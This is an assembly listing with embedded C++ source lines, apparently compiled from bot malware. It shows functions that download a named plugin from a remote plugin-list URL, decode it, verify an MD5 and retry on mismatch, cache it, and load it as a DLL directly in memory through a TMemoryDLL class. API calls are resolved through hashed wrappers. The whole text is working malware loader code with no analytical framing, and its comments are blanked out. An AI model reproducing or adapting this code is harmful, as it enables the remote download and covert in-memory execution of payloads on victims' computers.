  00073	8d 45 ec	 lea	 eax, DWORD PTR _CalculatedMd5$91530[ebp]
  00076	56		 push	 esi
  00077	50		 push	 eax
  00078	e8 00 00 00 00	 call	 ?MD5StrFromBuf@@YA?AV?$TString@D@@PAXK@Z ; MD5StrFromBuf
  0007d	83 c4 0c	 add	 esp, 12			; 0000000cH
; 646  : 
; 647  : 		LPBYTE Module = NULL;
; 648  : 
; 649  : 		if (!IsExecutable || !IsExecutableFile(Buffer))
  00080	80 7d 14 00	 cmp	 BYTE PTR _IsExecutable$[ebp], 0
  00084	74 0f		 je	 SHORT $LN8@DownloadEx@2
  00086	56		 push	 esi
  00087	e8 00 00 00 00	 call	 ?IsExecutableFile@@YA_NPAX@Z ; IsExecutableFile
  0008c	59		 pop	 ecx
  0008d	84 c0		 test	 al, al
  0008f	74 04		 je	 SHORT $LN8@DownloadEx@2
; 651  : 		else
; 652  : 			Module = Buffer;
  00091	8b fe		 mov	 edi, esi
  00093	eb 15		 jmp	 SHORT $LN7@DownloadEx@2
$LN8@DownloadEx@2:
; 650  : 			Module = Decode(Buffer, BufSize, IsExecutable, &BufSize);
  00095	8d 45 f8	 lea	 eax, DWORD PTR _BufSize$91522[ebp]
  00098	50		 push	 eax
  00099	ff 75 14	 push	 DWORD PTR _IsExecutable$[ebp]
  0009c	ff 75 f8	 push	 DWORD PTR _BufSize$91522[ebp]
  0009f	56		 push	 esi
  000a0	e8 00 00 00 00	 call	 ?Decode@Plugin@@YAPAEPAEK_NPAK@Z ; Plugin::Decode
  000a5	83 c4 10	 add	 esp, 16			; 00000010H
  000a8	8b f8		 mov	 edi, eax
$LN7@DownloadEx@2:
; 653  : 
; 654  : 		// 
 MD5 - 
; 655  : 		// 
; 656  : 		if (ReceivedMd5 && Module)
  000aa	39 5d f4	 cmp	 DWORD PTR _ReceivedMd5$91524[ebp], ebx
  000ad	74 5c		 je	 SHORT $LN29@DownloadEx@2
  000af	3b fb		 cmp	 edi, ebx
  000b1	74 58		 je	 SHORT $LN29@DownloadEx@2
; 657  : 		{
; 658  : 			bool Valid = CalculatedMd5 == ReceivedMd5;
  000b3	ff 75 f4	 push	 DWORD PTR _ReceivedMd5$91524[ebp]
  000b6	ff 75 f0	 push	 DWORD PTR _CalculatedMd5$91530[ebp+4]
  000b9	e8 00 00 00 00	 call	 ?Equal@?$STRUTILS@D@@SA_NPBD0@Z ; STRUTILS<char>::Equal
; 659  : 
; 660  : 			STR::Free(ReceivedMd5);
  000be	ff 75 f4	 push	 DWORD PTR _ReceivedMd5$91524[ebp]
  000c1	8a d8		 mov	 bl, al
  000c3	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  000c8	83 c4 0c	 add	 esp, 12			; 0000000cH
; 661  : 
; 662  : 			if (!Valid)
  000cb	84 db		 test	 bl, bl
  000cd	75 3c		 jne	 SHORT $LN29@DownloadEx@2
; 663  : 			{
; 664  : 				// 
; 665  : 				MemFree(Buffer);
  000cf	56		 push	 esi
  000d0	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  000d5	59		 pop	 ecx
; 666  : 				if (Module != Buffer) MemFree(Module);
  000d6	3b fe		 cmp	 edi, esi
  000d8	74 07		 je	 SHORT $LN4@DownloadEx@2
  000da	57		 push	 edi
  000db	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  000e0	59		 pop	 ecx
$LN4@DownloadEx@2:
; 667  : 
; 668  : 				// 
; 669  : 				PDBG("Plugins", "DownloadEx: ReceivedMd5 and CalculatedMd5 are not equal. Sleeping 30 sec and trying again.");
; 670  : 				pSleep(30 * 1000);
  000e1	68 30 75 00 00	 push	 30000			; 00007530H
  000e6	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ; pushargEx<1,1033466613,47,int>
  000eb	59		 pop	 ecx
; 671  : 				continue;
  000ec	8d 4d ec	 lea	 ecx, DWORD PTR _CalculatedMd5$91530[ebp]
  000ef	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000f4	e9 2b ff ff ff	 jmp	 $LL15@DownloadEx@2
$LN25@DownloadEx@2:
; 634  : 		{
; 635  : 			if (ReceivedMd5 != NULL) STR::Free(ReceivedMd5);
  000f9	39 5d f4	 cmp	 DWORD PTR _ReceivedMd5$91524[ebp], ebx
  000fc	74 09		 je	 SHORT $LN10@DownloadEx@2
  000fe	ff 75 f4	 push	 DWORD PTR _ReceivedMd5$91524[ebp]
  00101	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  00106	59		 pop	 ecx
$LN10@DownloadEx@2:
; 636  : 			return NULL;
  00107	33 c0		 xor	 eax, eax
  00109	eb 40		 jmp	 SHORT $LN33@DownloadEx@2
$LN29@DownloadEx@2:
; 672  : 			}
; 673  : 		}
; 674  : 
; 675  : 		// 
; 676  : 		// 
; 677  : 		if (UseCache && Downloaded && Module)
  0010b	80 7d 18 00	 cmp	 BYTE PTR _UseCache$[ebp], 0
  0010f	74 19		 je	 SHORT $LN31@DownloadEx@2
  00111	80 7d ff 00	 cmp	 BYTE PTR _Downloaded$91526[ebp], 0
  00115	74 13		 je	 SHORT $LN31@DownloadEx@2
  00117	85 ff		 test	 edi, edi
  00119	74 0f		 je	 SHORT $LN31@DownloadEx@2
; 678  : 		{
; 679  : 			SaveToCache(PluginName, Module, BufSize);
  0011b	ff 75 f8	 push	 DWORD PTR _BufSize$91522[ebp]
  0011e	57		 push	 edi
  0011f	ff 75 08	 push	 DWORD PTR _PluginName$[ebp]
  00122	e8 00 00 00 00	 call	 ?SaveToCache@Plugin@@YA_NPADPAXK@Z ; Plugin::SaveToCache
  00127	83 c4 0c	 add	 esp, 12			; 0000000cH
$LN31@DownloadEx@2:
; 680  : 		}
; 681  : 
; 682  : 		// 
; 683  : 		if (Module != Buffer) MemFree(Buffer);
  0012a	3b fe		 cmp	 edi, esi
  0012c	74 07		 je	 SHORT $LN2@DownloadEx@2
  0012e	56		 push	 esi
  0012f	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  00134	59		 pop	 ecx
$LN2@DownloadEx@2:
; 684  : 
; 685  : 		// 
; 686  : 		if (Size != NULL)
  00135	8b 45 10	 mov	 eax, DWORD PTR _Size$[ebp]
  00138	85 c0		 test	 eax, eax
  0013a	74 05		 je	 SHORT $LN1@DownloadEx@2
; 687  : 			*Size = BufSize;
  0013c	8b 4d f8	 mov	 ecx, DWORD PTR _BufSize$91522[ebp]
  0013f	89 08		 mov	 DWORD PTR [eax], ecx
$LN1@DownloadEx@2:
; 688  : 		
; 689  : 		return Module;
  00141	8d 4d ec	 lea	 ecx, DWORD PTR _CalculatedMd5$91530[ebp]
  00144	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00149	8b c7		 mov	 eax, edi
$LN33@DownloadEx@2:
  0014b	5f		 pop	 edi
  0014c	5e		 pop	 esi
  0014d	5b		 pop	 ebx
; 690  : 	}
; 691  : 
; 692  : 	return NULL;
; 693  : }
  0014e	c9		 leave
  0014f	c3		 ret	 0
?DownloadEx@Plugin@@YAPAEPAD0PAK_N20@Z ENDP		; Plugin::DownloadEx
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??_GTPlugin@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_GTPlugin@@UAEPAXI@Z PROC				; TPlugin::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
  00003	e8 00 00 00 00	 call	 ??1TPlugin@@UAE@XZ	; TPlugin::~TPlugin
  00008	f6 44 24 08 01	 test	 BYTE PTR ___flags$[esp], 1
  0000d	74 07		 je	 SHORT $LN1@scalar@3
  0000f	56		 push	 esi
  00010	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00015	59		 pop	 ecx
$LN1@scalar@3:
  00016	8b c6		 mov	 eax, esi
  00018	5e		 pop	 esi
  00019	c2 04 00	 ret	 4
??_GTPlugin@@UAEPAXI@Z ENDP				; TPlugin::`scalar deleting destructor'
_TEXT	ENDS
PUBLIC	?Download@Plugin@@YAPAEPAD0PAK_N@Z		; Plugin::Download
; Function compile flags: /Ogspy
;	COMDAT ?Download@Plugin@@YAPAEPAD0PAK_N@Z
_TEXT	SEGMENT
_PluginName$ = 8					; size = 4
_PluginListURL$ = 12					; size = 4
_Size$ = 16						; size = 4
_IsExecutable$ = 20					; size = 1
?Download@Plugin@@YAPAEPAD0PAK_N@Z PROC			; Plugin::Download, COMDAT
; 596  : 	// 
; 597  : 	return DownloadEx(PluginName, PluginListURL, Size, IsExecutable, false, NULL);
  00000	6a 00		 push	 0
  00002	6a 00		 push	 0
  00004	ff 74 24 18	 push	 DWORD PTR _IsExecutable$[esp+4]
  00008	ff 74 24 18	 push	 DWORD PTR _Size$[esp+8]
  0000c	ff 74 24 18	 push	 DWORD PTR _PluginListURL$[esp+12]
  00010	ff 74 24 18	 push	 DWORD PTR _PluginName$[esp+16]
  00014	e8 00 00 00 00	 call	 ?DownloadEx@Plugin@@YAPAEPAD0PAK_N20@Z ; Plugin::DownloadEx
  00019	83 c4 18	 add	 esp, 24			; 00000018H
; 598  : }
  0001c	c3		 ret	 0
?Download@Plugin@@YAPAEPAD0PAK_N@Z ENDP			; Plugin::Download
_TEXT	ENDS
PUBLIC	?Download@TPlugin@@QAE_N_N@Z			; TPlugin::Download
EXTRN	?Load@TMemoryDLL@@QAE_NPBX@Z:PROC		; TMemoryDLL::Load
; Function compile flags: /Ogspy
;	COMDAT ?Download@TPlugin@@QAE_N_N@Z
_TEXT	SEGMENT
_LoadLibraryA$ = 8					; size = 1
?Download@TPlugin@@QAE_N_N@Z PROC			; TPlugin::Download, COMDAT
; _this$ = ecx
; 990  : {
  00000	53		 push	 ebx
  00001	56		 push	 esi
  00002	8b f1		 mov	 esi, ecx
; 991  : 	// 
; 992  : 	if (Handle() || FData || FName.IsEmpty())
  00004	33 db		 xor	 ebx, ebx
  00006	39 5e 04	 cmp	 DWORD PTR [esi+4], ebx
  00009	75 49		 jne	 SHORT $LN2@Download
  0000b	39 5e 14	 cmp	 DWORD PTR [esi+20], ebx
  0000e	75 44		 jne	 SHORT $LN2@Download
  00010	ff 76 10	 push	 DWORD PTR [esi+16]
  00013	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  00018	59		 pop	 ecx
  00019	84 c0		 test	 al, al
  0001b	75 37		 jne	 SHORT $LN2@Download
; 994  : 
; 995  : 	FData = Plugin::Download(FName.t_str(), NULL, &FSize, true);
  0001d	6a 01		 push	 1
  0001f	8d 46 18	 lea	 eax, DWORD PTR [esi+24]
  00022	50		 push	 eax
  00023	53		 push	 ebx
  00024	8d 4e 0c	 lea	 ecx, DWORD PTR [esi+12]
  00027	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  0002c	50		 push	 eax
  0002d	e8 00 00 00 00	 call	 ?Download@Plugin@@YAPAEPAD0PAK_N@Z ; Plugin::Download
  00032	83 c4 10	 add	 esp, 16			; 00000010H
  00035	89 46 14	 mov	 DWORD PTR [esi+20], eax
; 996  : 
; 997  : 	if (FData && LoadLibrary)
  00038	3b c3		 cmp	 eax, ebx
  0003a	74 0e		 je	 SHORT $LN1@Download
  0003c	38 5c 24 0c	 cmp	 BYTE PTR _LoadLibraryA$[esp+4], bl
  00040	74 08		 je	 SHORT $LN1@Download
; 998  : 		Load(FData);
  00042	50		 push	 eax
  00043	8b ce		 mov	 ecx, esi
  00045	e8 00 00 00 00	 call	 ?Load@TMemoryDLL@@QAE_NPBX@Z ; TMemoryDLL::Load
$LN1@Download:
; 999  : 
; 1000 : 	return FData != NULL;
  0004a	33 c0		 xor	 eax, eax
  0004c	39 5e 14	 cmp	 DWORD PTR [esi+20], ebx
  0004f	0f 95 c0	 setne	 al
  00052	eb 02		 jmp	 SHORT $LN4@Download
$LN2@Download:
; 993  : 		return false;
  00054	32 c0		 xor	 al, al
$LN4@Download:
  00056	5e		 pop	 esi
  00057	5b		 pop	 ebx
; 1001 : }
  00058	c2 04 00	 ret	 4
?Download@TPlugin@@QAE_N_N@Z ENDP			; TPlugin::Download
_TEXT	ENDS